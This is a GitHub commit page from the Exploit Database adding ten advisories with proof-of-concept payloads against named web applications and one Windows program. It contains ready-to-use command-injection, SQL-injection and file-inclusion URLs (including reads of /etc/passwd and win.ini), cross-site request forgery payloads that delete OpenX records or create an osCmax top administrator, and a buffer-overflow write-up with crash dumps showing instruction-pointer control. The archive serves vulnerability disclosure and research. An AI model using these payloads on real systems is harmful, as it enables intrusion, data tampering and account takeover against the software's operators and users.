Skip to content

Commit 2f4bedf

Browse files
author
Offensive Security
committed
DB: 2015-12-30
10 new exploits
1 parent 73b5663 commit 2f4bedf

11 files changed

Lines changed: 374 additions & 74 deletions

File tree

‎files.csv‎

Lines changed: 84 additions & 74 deletions
Large diffs are not rendered by default.

‎platforms/cgi/webapps/39127.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/66367/info
2+
3+
innoEDIT is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.
4+
5+
An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.
6+
7+
innoEDIT 6.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/innoedit/innoedit.cgi?download=;id|

‎platforms/php/webapps/39116.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/66228/info
2+
3+
GNUboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
4+
5+
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/bbs/ajax.autosave.php?content=1&subject=1[SQLi]

‎platforms/php/webapps/39117.txt‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
source: http://www.securityfocus.com/bid/66251/info
2+
3+
OpenX is prone to multiple cross-site request-forgery vulnerabilities.
4+
5+
Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.
6+
7+
OpenX 2.8.11 and prior versions are vulnerable.
8+
9+
File: admin/agency-user-unlink.php
10+
POC:
11+
12+
<img src='http://site/admin/agency-user-unlink.php?agencyid=1&userid=18' width="1" height="1" border="0">
13+
14+
File: admin/advertiser-delete.php
15+
POC:
16+
<img src='http://site/admin/advertiser-delete.php?clientid=10' width="1" height="1" border="0">
17+
18+
File: admin/banner-delete.php
19+
POC:
20+
<img
21+
src='http://site/admin/banner-delete.php?clientid=2&campaignid=7&bannerid=16'
22+
width="1" height="1" border="0">
23+
24+
File: admin/campaign-delete.php
25+
POC:
26+
<img src='http://site/admin/campaign-delete.php?clientid=2&campaignid=11' width="1" height="1" border="0">
27+
28+
File: admin/channel-delete.php
29+
POC:
30+
<img
31+
src='http://site/admin/channel-delete.php?affiliateid=1&channelid=6'
32+
width="1" height="1" border="0">
33+
34+
35+
File: admin/affiliate-delete.php
36+
POC:
37+
<img
38+
src='http://site/admin/affiliate-delete.php?affiliateid=9' width="1" height="1"
39+
border="0">
40+
41+
42+
File: admin/zone-delete.php
43+
POC:
44+
<img
45+
src='http://site/admin/zone-delete.php?affiliateid=1&zoneid=11'
46+
width="1" height="1" border="0">

‎platforms/php/webapps/39118.html‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
source: http://www.securityfocus.com/bid/66272/info
2+
3+
osCmax is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.
4+
5+
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.
6+
7+
<html>
8+
<form method="post" name="newmember" action="http://127.0.0.1/catalog/admin/admin_members.php?action=member_new&page=1&mID=1">
9+
<input type="hidden" name="admin_username" value="THETUNISIAN"/>
10+
<input type="hidden" name="admin_firstname" value="Moot3x"/>
11+
<input type="hidden" name="admin_lastname" value="Saad3x"/>
12+
<input type="hidden" name="admin_email_address" value="g4k@hotmail.esxxx"/>
13+
<input type="hidden" name="admin_groups_id" value="1"/>
14+
<!-- About "admin_groups_id" -->
15+
<!-- 1= Top Administrator -->
16+
<!-- 2= Customer Service -->
17+
<input type='submit' name='Submit4' value="Agregar">
18+
</form>
19+
</html>

‎platforms/php/webapps/39124.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/66317/info
2+
3+
MeiuPic is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
6+
7+
MeiuPic 2.1.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/MeiuPic/?ctl=../../../../../../../../../../etc/passwd

‎platforms/php/webapps/39126.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/66350/info
2+
3+
BIGACE Web CMS is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
4+
5+
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, use directory-traversal strings to execute local script code in the context of the application, or obtain sensitive information that may aid in further attacks.
6+
7+
BIGACE Web CMS 2.7.5 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/bigace_2.7.5/bigace_install_2.7.5/public/index.php?menu=3&LANGUAGE=[LFI]

‎platforms/php/webapps/39128.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/66377/info
2+
3+
Jorjweb is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/ajedrez47/Paginas/info_torneo.php?id=3852'[REMOTE SQL-INJECTION WEB VULNERABILITY!]--

‎platforms/php/webapps/39129.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/66401/info
2+
3+
qEngine is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input before being used to include files.
4+
5+
An attacker can exploit this issue using directory-traversal strings to view files and execute local script code in the context of the web server process. This may allow the attacker to compromise the application; other attacks are also possible.
6+
7+
qEngine 6.0.0 and 4.1.6 are vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/qe6_0/admin/task.php?run=../../../../../../windows/win.ini

‎platforms/windows/dos/39103.txt‎

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
[+] Credits: hyp3rlinx
2+
3+
[+] Website: hyp3rlinx.altervista.org
4+
5+
[+] Source:
6+
http://hyp3rlinx.altervista.org/advisories/ACCESSDIVER-BUFFER-OVERFLOW.txt
7+
8+
9+
10+
Vendor:
11+
==============
12+
M. Jean Fages
13+
www.accessdiver.com
14+
circa 1998-2006
15+
16+
17+
Product:
18+
=============================
19+
AccessDiver V4.301 build 5888
20+
21+
22+
AccessDiver is a security tester for Web pages. It has got a set of tools
23+
which
24+
will verify the robustness of you accounts and directories. You will know
25+
if your
26+
customers, your users and you can use safely your web site.
27+
28+
29+
Vulnerability Type:
30+
===================
31+
Buffer Overflow
32+
33+
34+
35+
CVE Reference:
36+
==============
37+
N/A
38+
39+
40+
41+
Vulnerability Details:
42+
=====================
43+
44+
AccessDiver is vulnerable to multiple buffer overflows, two vectors are
45+
described below.
46+
47+
1) buffer overflow @ 2073 bytes in URL field for Server / IP address and
48+
will overwrite NSEH and SEH exception handlers.
49+
50+
EAX 00000000
51+
ECX 52525252
52+
EDX 7C9037D8 ntdll.7C9037D8
53+
EBX 00000000
54+
ESP 0012EA08
55+
EBP 0012EA28
56+
ESI 00000000
57+
EDI 00000000
58+
EIP 52525252 <----------------- BOOM
59+
C 0 ES 0023 32bit 0(FFFFFFFF)
60+
P 1 CS 001B 32bit 0(FFFFFFFF)
61+
A 0 SS 0023 32bit 0(FFFFFFFF)
62+
Z 1 DS 0023 32bit 0(FFFFFFFF)
63+
S 0 FS 003B 32bit 7FFDF000(FFF)
64+
T 0 GS 0000 NULL
65+
D 0
66+
O 0 LastErr ERROR_SUCCESS (00000000)
67+
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
68+
ST0 empty
69+
ST1 empty
70+
ST2 empty
71+
ST3 empty
72+
ST4 empty
73+
ST5 empty
74+
ST6 empty
75+
ST7 empty
76+
3 2 1 0 E S P U O Z D I
77+
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
78+
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0
79+
80+
81+
82+
2) Buffer overflow when loading a malicious "Exploit zone file" text file
83+
containing 2080 bytes,
84+
load text file from "Weak History" Menu choose Import "from File" choose
85+
exploit text file and BOOM!
86+
87+
88+
EAX 00000000
89+
ECX 52525242
90+
EDX 7702B4AD ntdll.7702B4AD
91+
EBX 00000000
92+
ESP 0018E940
93+
EBP 0018E960
94+
ESI 00000000
95+
EDI 00000000
96+
EIP 52525242 <----------------- KABOOM
97+
C 0 ES 002B 32bit 0(FFFFFFFF)
98+
P 1 CS 0023 32bit 0(FFFFFFFF)
99+
A 0 SS 002B 32bit 0(FFFFFFFF)
100+
Z 1 DS 002B 32bit 0(FFFFFFFF)
101+
S 0 FS 0053 32bit 7EFDD000(FFF)
102+
T 0 GS 002B 32bit 0(FFFFFFFF)
103+
D 0
104+
O 0 LastErr ERROR_SUCCESS (00000000)
105+
EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
106+
ST0 empty g
107+
ST1 empty g
108+
ST2 empty g
109+
ST3 empty g
110+
ST4 empty g
111+
ST5 empty g
112+
ST6 empty g
113+
ST7 empty g
114+
3 2 1 0 E S P U O Z D I
115+
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
116+
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
117+
118+
119+
Windbg dump...
120+
121+
(2abc.2330): Access violation - code c0000005 (first chance)
122+
First chance exceptions are reported before any exception handling.
123+
This exception may be expected and handled.
124+
eax=00000000 ebx=00000000 ecx=52525252 edx=7702b4ad esi=00000000
125+
edi=00000000
126+
eip=52525252 esp=0018e7f4 ebp=0018e814 iopl=0 nv up ei pl zr na pe
127+
nc
128+
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
129+
efl=00010246
130+
52525252 ?? ???
131+
132+
133+
134+
Disclosure Timeline:
135+
=====================================
136+
Vendor Notification: NA
137+
December 26, 2015 : Public Disclosure
138+
139+
140+
141+
142+
Exploitation Technique:
143+
=======================
144+
Local
145+
146+
147+
148+
Severity Level:
149+
================
150+
Med
151+
152+
153+
154+
===========================================================
155+
156+
[+] Disclaimer
157+
Permission is hereby granted for the redistribution of this advisory,
158+
provided that it is not altered except by reformatting it, and that due
159+
credit is given. Permission is explicitly given for insertion in
160+
vulnerability databases and similar, provided that due credit is given to
161+
the author.
162+
The author is not responsible for any misuse of the information contained
163+
herein and prohibits any malicious use of all security related information
164+
or exploits by the author or elsewhere.
165+
166+
by hyp3rlinx

0 commit comments

Comments
 (0)